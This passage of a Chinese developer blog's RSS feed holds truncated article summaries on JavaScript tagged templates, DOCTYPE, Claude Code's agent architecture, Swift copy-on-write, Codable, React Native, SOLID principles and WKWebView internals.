&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fun`params1 = ${333}`
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// 输出分别为
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// [&amp;#39;params1 = &amp;#39;, &amp;#39;&amp;#39;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// 333
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;不知道各位在学习或开发中有没有遇到过这样的函数调用方式呢？秉承着我没遇到的东西就要发文章来分享分享的原则，经过我查阅资料并加以学习，就让本文来带大家了解一下JS中的标签函数吧。&lt;/p&gt;
&lt;h2 id="模板字符串"&gt;模板字符串&lt;/h2&gt;
&lt;p&gt;标签函数的主要作用就是处理模板字符串，所以在了解标签函数之前先了解一下模板字符串（模板字面量）吧。&lt;/p&gt;
&lt;h3 id="基本用法"&gt;基本用法&lt;/h3&gt;
&lt;p&gt;模板字符串是ES6新增的使用模板字面量定义字符串的能力，用反引号```````` 进行分隔。与使用&lt;code&gt;''&lt;/code&gt;或&lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt;的定义的字符串字面量不同是模板字面量保留换行字符，可以跨行定义字符串。 例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let str1 = &amp;#39;xxhh\n2233&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let str2 = `xxhh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2233`
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console.log(str1 === str2) // 结果为true
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;要注意的是模板字符串中的所有字符都会包含在字符串中，特别在使用缩进的时候，缩进的空格都会包含在字符串中。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let str = `
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;h1&amp;gt;xxhh&amp;lt;/h1&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;`
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console.log(str.length) // 结果为44，包含了缩进所产出的所有空格
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="字符串插值"&gt;字符串插值&lt;/h3&gt;
&lt;p&gt;在没有模板字符串时，我们通常会使用&lt;code&gt;+&lt;/code&gt;加法运算符来进行字符串的拼接，但有了模板字符串后我们并可通过插值占位符&lt;code&gt;${}&lt;/code&gt;来将各字面量、变量或表达式结果来进行拼接，这样可以更容易地创建复杂和动态的字符串，同时保持代码的可读性和简洁性。这是模板字符串最常用的一个特性。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let name = &amp;#39;xxhh&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let str1 = &amp;#34;name:&amp;#34;+name;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let str2 = `name:${name}`;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console.log(str1,str2) // name:xxhh name:xxhh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console.log(str1 === str2) // true
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;要注意的是使用字符串插值的所有插入的值都会使用&lt;code&gt;toString()&lt;/code&gt;强制转型为字符串，而且任何JavaScript 表达式都可以用于插值。&lt;/p&gt;</description></item><item><title>DOCTYPE</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/doctype/</link><pubDate>Tue, 24 Sep 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/doctype/</guid><description>&lt;p&gt;&lt;code&gt;DOCTYPE&lt;/code&gt; 是一个声明，位于 HTML 文档的最顶部，指示浏览器使用哪种 HTML 或 XHTML 版本来渲染页面。它的主要作用是确保浏览器以标准模式解析文档，从而避免不同浏览器间的渲染差异。正确使用 DOCTYPE 可以提升页面的兼容性和可访问性。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;!DOCTYPE&amp;gt;&lt;/code&gt;声明应该位于HTML文档的第一行，紧接着是&lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt;标签。&lt;/p&gt;
&lt;p&gt;例如，对于 HTML5 文档，你只需写：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lang&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charset&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;Document Title&amp;lt;/&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 页面内容 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个声明告诉浏览器该文档是一个HTML5文档。HTML5是最新的HTML标准，它包括了许多现代化的功能，如语义元素、表单控件、音频和视频等。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;code&gt;DOCTYPE&lt;/code&gt; 的作用有以下几个方面：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;指定 HTML 版本&lt;/strong&gt;：浏览器根据 DOCTYPE 的声明来确定使用哪个 HTML 版本来渲染页面，从而保证页面在不同的浏览器上显示一致性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;触发标准模式&lt;/strong&gt;：在 HTML 中，如果省略了 DOCTYPE 声明，浏览器会进入混杂模式（Quirks mode），这种模式下浏览器的渲染方式与早期的浏览器相同，可能导致页面的显示出现不可预测的错误。而指定了 DOCTYPE 声明，则会触发标准模式（Standards mode），使得浏览器按照 HTML 规范的要求进行页面渲染，从而保证页面的稳定性和可靠性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;供浏览器和开发人员参考&lt;/strong&gt;：DOCTYPE 声明还包含了有关 HTML 文档的元信息，例如所使用的 DTD（文档类型定义），以及其他的元数据信息，这些信息可以供浏览器和开发人员参考，帮助开发人员更好地了解和掌握 HTML 语言的特点和规范。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提高网页加载速度&lt;/strong&gt;：指定 DOCTYPE 声明可以帮助浏览器更快地加载网页，因为浏览器知道要使用哪种渲染模式，从而更快地解析 HTML 文档。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免代码错误&lt;/strong&gt;：指定 DOCTYPE 声明可以帮助开发人员在编写 HTML 代码时遵循标准，避免一些常见的代码错误，例如忘记关闭标签或者使用非法的属性和元素等等。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;除了HTML5的&lt;code&gt;&amp;lt;!DOCTYPE&amp;gt;&lt;/code&gt;声明之外，还有一些其他版本的HTML和XHTML文档类型声明。这里是一些例子：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. HTML 4.01 Strict：&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Claude Code 源码导读：Agent 设计详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/claude-code-%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/</link><pubDate>Sun, 21 Jun 2026 22:41:52 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/claude-code-%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/</guid><description>&lt;blockquote&gt;
&lt;p&gt;Claude Code 的 agent 到底是怎么被设计成一个能长时间工作、能分派子 agent、能记忆、能压缩上下文、也能可靠停下来的系统的？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Code 最值得研究的地方，不是它“能调用工具”，而是它把模型、工具、记忆、上下文、后台任务、hook 和权限系统编成了一个稳定的 &lt;strong&gt;agent harness&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;一句话概括：Claude Code 的 agent 不是一个模型循环，而是三层循环叠在一起：主 &lt;code&gt;query&lt;/code&gt; 循环负责推理和工具回灌；工具循环负责受控执行和并发；任务循环负责子 agent、后台 agent、记忆整理和长任务生命周期。&lt;/p&gt;
&lt;pre class="mermaid"&gt;flowchart TD
User["用户输入 / 队列消息"] --&gt; Query["query.ts 主循环"]
Query --&gt; Model["流式模型调用"]
Model --&gt;|没有 tool_use| StopPath["停止路径&lt;br/&gt;stop hooks / token budget / completed"]
Model --&gt;|产生 tool_use| ToolLoop["工具执行循环"]
ToolLoop --&gt; Attach["附件注入&lt;br/&gt;记忆 / 变更文件 / 任务通知 / 技能"]
Attach --&gt; Query
Query --&gt; Compact["上下文治理&lt;br/&gt;tool budget / microcompact / autocompact / reactive compact"]
Query --&gt; Memory["记忆系统&lt;br/&gt;CLAUDE.md / AutoMem / Session Memory"]
Query --&gt; AgentTool["AgentTool"]
AgentTool --&gt; SubAgent["runAgent 子循环"]
SubAgent --&gt; LocalTask["LocalAgentTask&lt;br/&gt;前台 / 后台 / 可恢复"]
LocalTask --&gt; Attach
&lt;/pre&gt;
&lt;h2 id="一核心源码地图"&gt;一、核心源码地图&lt;/h2&gt;
&lt;p&gt;先把关键文件放在桌面上：&lt;/p&gt;</description></item><item><title>Swift 面试：值语义、COW 与集合源码解析</title><link>https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/value-semantics-cow-collections/</link><pubDate>Tue, 16 Jun 2026 09:06:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/value-semantics-cow-collections/</guid><description>&lt;h1 id="swift-面试值语义cow-与集合源码解析"&gt;Swift 面试：值语义、COW 与集合源码解析&lt;/h1&gt;
&lt;p&gt;Swift 的 &lt;code&gt;Array&lt;/code&gt;、&lt;code&gt;String&lt;/code&gt;、&lt;code&gt;Dictionary&lt;/code&gt; 都表现为值类型，但它们不可能每次赋值都完整复制底层存储。面试官问值语义和 COW，真正想看的是你能不能说清楚：&lt;strong&gt;值语义是语言语义，COW 是性能实现；集合表面是 struct，底层经常共享引用存储；写入前靠唯一性检查决定是否复制。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这篇文章从面试题出发，把结论落到 Swift 标准库源码里的 Array buffer、String guts、Dictionary storage 和 &lt;code&gt;isKnownUniquelyReferenced&lt;/code&gt;。&lt;/p&gt;
&lt;h2 id="面试高频问题"&gt;面试高频问题&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Swift 的 struct 为什么常说是值语义？&lt;/li&gt;
&lt;li&gt;Array 赋值时一定会复制底层元素吗？&lt;/li&gt;
&lt;li&gt;Copy-on-Write 的触发条件是什么？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;isKnownUniquelyReferenced&lt;/code&gt; 检查的到底是什么？&lt;/li&gt;
&lt;li&gt;Array、ContiguousArray、ArrayBuffer、Storage 是什么关系？&lt;/li&gt;
&lt;li&gt;String 为什么不能用整数下标随机访问？&lt;/li&gt;
&lt;li&gt;String.Index 为什么不是一个简单的 Int？&lt;/li&gt;
&lt;li&gt;Dictionary 也是 COW 吗？&lt;/li&gt;
&lt;li&gt;ArraySlice 为什么可能持有原数组存储？&lt;/li&gt;
&lt;li&gt;值类型里包含 class 引用，还算值语义吗？&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="30-秒回答版"&gt;30 秒回答版&lt;/h2&gt;
&lt;p&gt;Swift 的值语义是说：从语言使用者角度看，赋值、传参、修改不会意外影响另一个值。但这不等于底层每次都立即复制。&lt;/p&gt;
&lt;p&gt;标准库集合通常用 Copy-on-Write 实现：多个值可以共享同一份堆上 buffer；只有当某个值要写入时，才检查底层 buffer 是否唯一引用。如果唯一，就原地修改；如果不唯一，就复制一份新 buffer 再修改。&lt;/p&gt;
&lt;p&gt;所以：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;值语义：用户看到的是独立值
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;COW：实现上先共享，写入前再判断是否复制
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ARC：维护底层 buffer 的引用计数
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;isUnique：让 COW 判断能否原地修改
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;面试可以这样回答：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Swift 的 Array 是 struct，但它内部持有引用语义的 storage。赋值时通常只复制结构体里的引用；真正写入时通过唯一性检查决定是否复制底层 storage。这让 Array 同时具备值语义和接近引用共享的性能。&lt;/p&gt;</description></item><item><title>Codable底层原理</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/codable%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/</link><pubDate>Mon, 08 Jun 2026 23:06:52 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/codable%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/</guid><description>&lt;p&gt;&lt;code&gt;Codable&lt;/code&gt; 是 Swift 4 引入的序列化方案，官方定位是替代 Objective-C 时代的 &lt;code&gt;NSCoding&lt;/code&gt;、以及各种第三方字典转模型框架（MJExtension、YYModel、JSONModel 等）。与运行时反射方案不同，&lt;code&gt;Codable&lt;/code&gt; 通过&amp;quot;编译器自动合成 + 标准库协议抽象 + 具体格式实现&amp;quot;三层解耦，在编译期就把类型与序列化逻辑绑定好，兼具类型安全、性能和扩展性。&lt;/p&gt;
&lt;p&gt;本文基于以下 Swift 源码展开分析：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;协议定义：&lt;a href="https://github.com/apple/swift/blob/main/stdlib/public/core/Codable.swift"&gt;&lt;code&gt;swift/stdlib/public/core/Codable.swift&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;编译器合成：&lt;a href="https://github.com/apple/swift/blob/main/lib/Sema/DerivedConformanceCodable.cpp"&gt;&lt;code&gt;swift/lib/Sema/DerivedConformanceCodable.cpp&lt;/code&gt;&lt;/a&gt;、&lt;code&gt;DerivedConformanceCodingKey.cpp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Foundation 实现：&lt;a href="https://github.com/apple/swift-corelibs-foundation/blob/main/Sources/Foundation/JSONEncoder.swift"&gt;&lt;code&gt;swift-corelibs-foundation/Sources/Foundation/JSONEncoder.swift&lt;/code&gt;&lt;/a&gt;、&lt;code&gt;JSONDecoder.swift&lt;/code&gt;、&lt;code&gt;PropertyListEncoder.swift&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="整体架构"&gt;整体架构&lt;/h2&gt;
&lt;p&gt;在开始深入之前，先建立整体印象。&lt;code&gt;Codable&lt;/code&gt; 可以拆成三层角色：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用户类型层&lt;/strong&gt;：业务中的 &lt;code&gt;struct&lt;/code&gt; / &lt;code&gt;class&lt;/code&gt; / &lt;code&gt;enum&lt;/code&gt;，声明遵循 &lt;code&gt;Codable&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;标准库与编译器层&lt;/strong&gt;：标准库定义 &lt;code&gt;Encodable&lt;/code&gt; / &lt;code&gt;Decodable&lt;/code&gt; / &lt;code&gt;Encoder&lt;/code&gt; / &lt;code&gt;Decoder&lt;/code&gt; 等协议，编译器为符合条件的类型合成 &lt;code&gt;encode(to:)&lt;/code&gt; 和 &lt;code&gt;init(from:)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;格式实现层&lt;/strong&gt;：Foundation 或第三方提供具体 &lt;code&gt;Encoder&lt;/code&gt; / &lt;code&gt;Decoder&lt;/code&gt;，负责把容器操作落到 JSON、Plist、BSON 等格式上&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="mermaid"&gt;flowchart LR
subgraph L1[用户类型层]
A[struct / class / enum&lt;br/&gt;声明遵循 Codable]
end
subgraph L2[标准库与编译器层]
B[Encodable / Decodable&lt;br/&gt;协议要求]
C["编译器合成&lt;br/&gt;encode(to:) / init(from:)"]
D[Encoder / Decoder&lt;br/&gt;容器协议]
B --&gt; C
C --&gt; D
end
subgraph L3[格式实现层]
E[JSONEncoder / JSONDecoder&lt;br/&gt;PropertyListEncoder / 第三方实现]
F[Data / 字符串 / 其他格式]
E --&gt; F
end
A --&gt;|conforms to| B
D --&gt;|由具体类型实现| E
&lt;/pre&gt;
&lt;p&gt;核心思想是：&lt;strong&gt;标准库只定义&amp;quot;如何描述一个可编码类型&amp;quot;和&amp;quot;编码器需要提供什么能力&amp;quot;，具体的格式（JSON、Plist、BSON…）由 Foundation 或第三方实现&lt;/strong&gt;。用户类型只需要遵循协议，剩下的由编译器在 SIL 层自动生成。&lt;/p&gt;</description></item><item><title>React Native 详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/reactnative/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/reactnative/</guid><description>&lt;p&gt;React Native 是 Meta 2015 年开源的跨平台框架，用 JavaScript/TypeScript 写一份业务代码，在 iOS 和 Android 上渲染出&lt;strong&gt;真正的原生控件&lt;/strong&gt;（&lt;code&gt;UIView&lt;/code&gt; / &lt;code&gt;android.view.View&lt;/code&gt;），而不是像 Flutter 那样自绘，也不是像 H5 那样跑在 WebView 里。经过 2018~2024 年的&amp;quot;新架构&amp;quot;大重构，RN 在 0.76 让 &lt;strong&gt;New Architecture（Fabric + TurboModules + JSI + Codegen + Bridgeless）成为默认&lt;/strong&gt;，并在 0.82（2025 年 10 月）彻底告别旧的 Bridge 时代——这是 RN 十年来最大的一次范式迁移。&lt;/p&gt;
&lt;p&gt;对 iOS 开发者而言，RN 的定位很特殊：&lt;strong&gt;UI 仍然是 UIKit，但控制 UI 的大脑换成了 JS&lt;/strong&gt;。这让它一方面拥有&amp;quot;&lt;strong&gt;原生 Look &amp;amp; Feel&lt;/strong&gt;&amp;ldquo;的天然优势（iOS 26 Liquid Glass 不用等框架跟进），另一方面又背负着&amp;rdquo;&lt;strong&gt;JS/原生边界抖动&lt;/strong&gt;&amp;ldquo;的原罪。在 AI Coding 时代，RN 凭借 Web 生态庞大的训练语料和 Expo 工具链成为 LLM 生成代码正确率最高的移动框架，但 JSI 的 C++ 层和 Bridgeless 的新调试链路也让&amp;quot;AI 修 Bug&amp;quot;变得比以前更难。&lt;/p&gt;</description></item><item><title>SOLID原则</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/solid%E5%8E%9F%E5%88%99/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/solid%E5%8E%9F%E5%88%99/</guid><description>&lt;h2 id="概述"&gt;概述&lt;/h2&gt;
&lt;p&gt;SOLID 是面向对象设计的五大基本原则的首字母缩写，由 Robert C. Martin（Uncle Bob）在 2000 年代初期提出。这五个原则是构建可维护、可扩展软件的基础，在 iOS 开发中同样适用。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字母&lt;/th&gt;
&lt;th&gt;原则&lt;/th&gt;
&lt;th&gt;英文名称&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;S&lt;/td&gt;
&lt;td&gt;单一职责原则&lt;/td&gt;
&lt;td&gt;Single Responsibility Principle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;开放封闭原则&lt;/td&gt;
&lt;td&gt;Open-Closed Principle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;L&lt;/td&gt;
&lt;td&gt;里氏替换原则&lt;/td&gt;
&lt;td&gt;Liskov Substitution Principle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;I&lt;/td&gt;
&lt;td&gt;接口隔离原则&lt;/td&gt;
&lt;td&gt;Interface Segregation Principle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;依赖倒置原则&lt;/td&gt;
&lt;td&gt;Dependency Inversion Principle&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="单一职责原则single-responsibility-principle-srp"&gt;单一职责原则（Single Responsibility Principle, SRP）&lt;/h2&gt;
&lt;h3 id="定义"&gt;定义&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A class should have one, and only one, reason to change.
一个类应该只有一个引起它变化的原因。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="原则解读"&gt;原则解读&lt;/h3&gt;
&lt;p&gt;单一职责原则要求每个类只负责一项职责。这里的&amp;quot;职责&amp;quot;可以理解为&amp;quot;变化的原因&amp;quot;——如果你能想到多于一个的原因去改变一个类，那么这个类就有多于一个的职责。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心思想&lt;/strong&gt;：将不同的关注点分离，使每个模块只专注于做好一件事。&lt;/p&gt;
&lt;h3 id="解决的问题"&gt;解决的问题&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. 代码耦合度高&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当一个类承担多个职责时，这些职责会相互依赖、相互影响。修改其中一个职责的代码，可能会无意中破坏另一个职责的功能。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 难以复用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果一个类混合了多个职责，当你只想使用其中一个职责时，不得不引入整个类及其所有依赖。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 维护困难&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;职责混杂的类通常代码量大、逻辑复杂，理解和修改都很困难。不同职责的代码交织在一起，修改一处可能产生意想不到的连锁反应。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 测试复杂&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>WebView底层原理</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/webview%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/webview%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;iOS 上的 WebView 目前以 &lt;code&gt;WKWebView&lt;/code&gt; 为事实标准。它对外表现得像一个 &lt;code&gt;UIView&lt;/code&gt; 子类，但内部其实对接着整个 WebKit 引擎——一个由多个独立进程协作的庞大系统。日常开发中遇到的那些困扰：为什么 Web 页白屏不会把 App 带崩？为什么 Cookie 和 App 自身的 &lt;code&gt;NSHTTPCookieStorage&lt;/code&gt; 总是对不上？为什么 JS 调用 Native 永远是异步？为什么 &lt;code&gt;NSURLProtocol&lt;/code&gt; 拦不到 &lt;code&gt;WKWebView&lt;/code&gt; 的请求？这些问题单看 API 都得不到答案，必须下潜到 WebKit 源码里才能看清楚。&lt;/p&gt;
&lt;p&gt;好在 WebKit 是 Apple 官方开源的项目，仓库在 &lt;a href="https://github.com/WebKit/WebKit"&gt;github.com/WebKit/WebKit&lt;/a&gt;。本文基于其 &lt;code&gt;Source/&lt;/code&gt; 目录下的公开源码，按&amp;quot;源码地图 → 多进程架构 → 各进程职责 → 全链路串联 → 工程启示&amp;quot;的顺序，把 &lt;code&gt;WKWebView&lt;/code&gt; 从创建到渲染一帧的底层机制梳理清楚。&lt;/p&gt;
&lt;h2 id="一先看源码地图"&gt;一、先看源码地图&lt;/h2&gt;
&lt;p&gt;阅读源码前，先在脑子里建立目录结构。以 &lt;code&gt;WebKit/WebKit&lt;/code&gt; 仓库的 &lt;code&gt;Source/&lt;/code&gt; 目录为例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Source/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── JavaScriptCore/ # JS 引擎（解释器、JIT 编译器、GC）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── WebCore/ # 渲染引擎核心（DOM、CSSOM、Layout、Paint）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── WebKit/ # 多进程框架 + Cocoa 层 API
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ├── UIProcess/ # 主进程侧（App 进程）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ │ ├── API/Cocoa/ # WKWebView.mm、WKProcessPool.mm 等
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ │ ├── API/ios/ # WKWebViewIOS.mm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ │ ├── ios/ # WKContentView.mm、WebPageProxyIOS.mm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ │ └── ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ├── WebProcess/ # 渲染进程侧（WebContent）
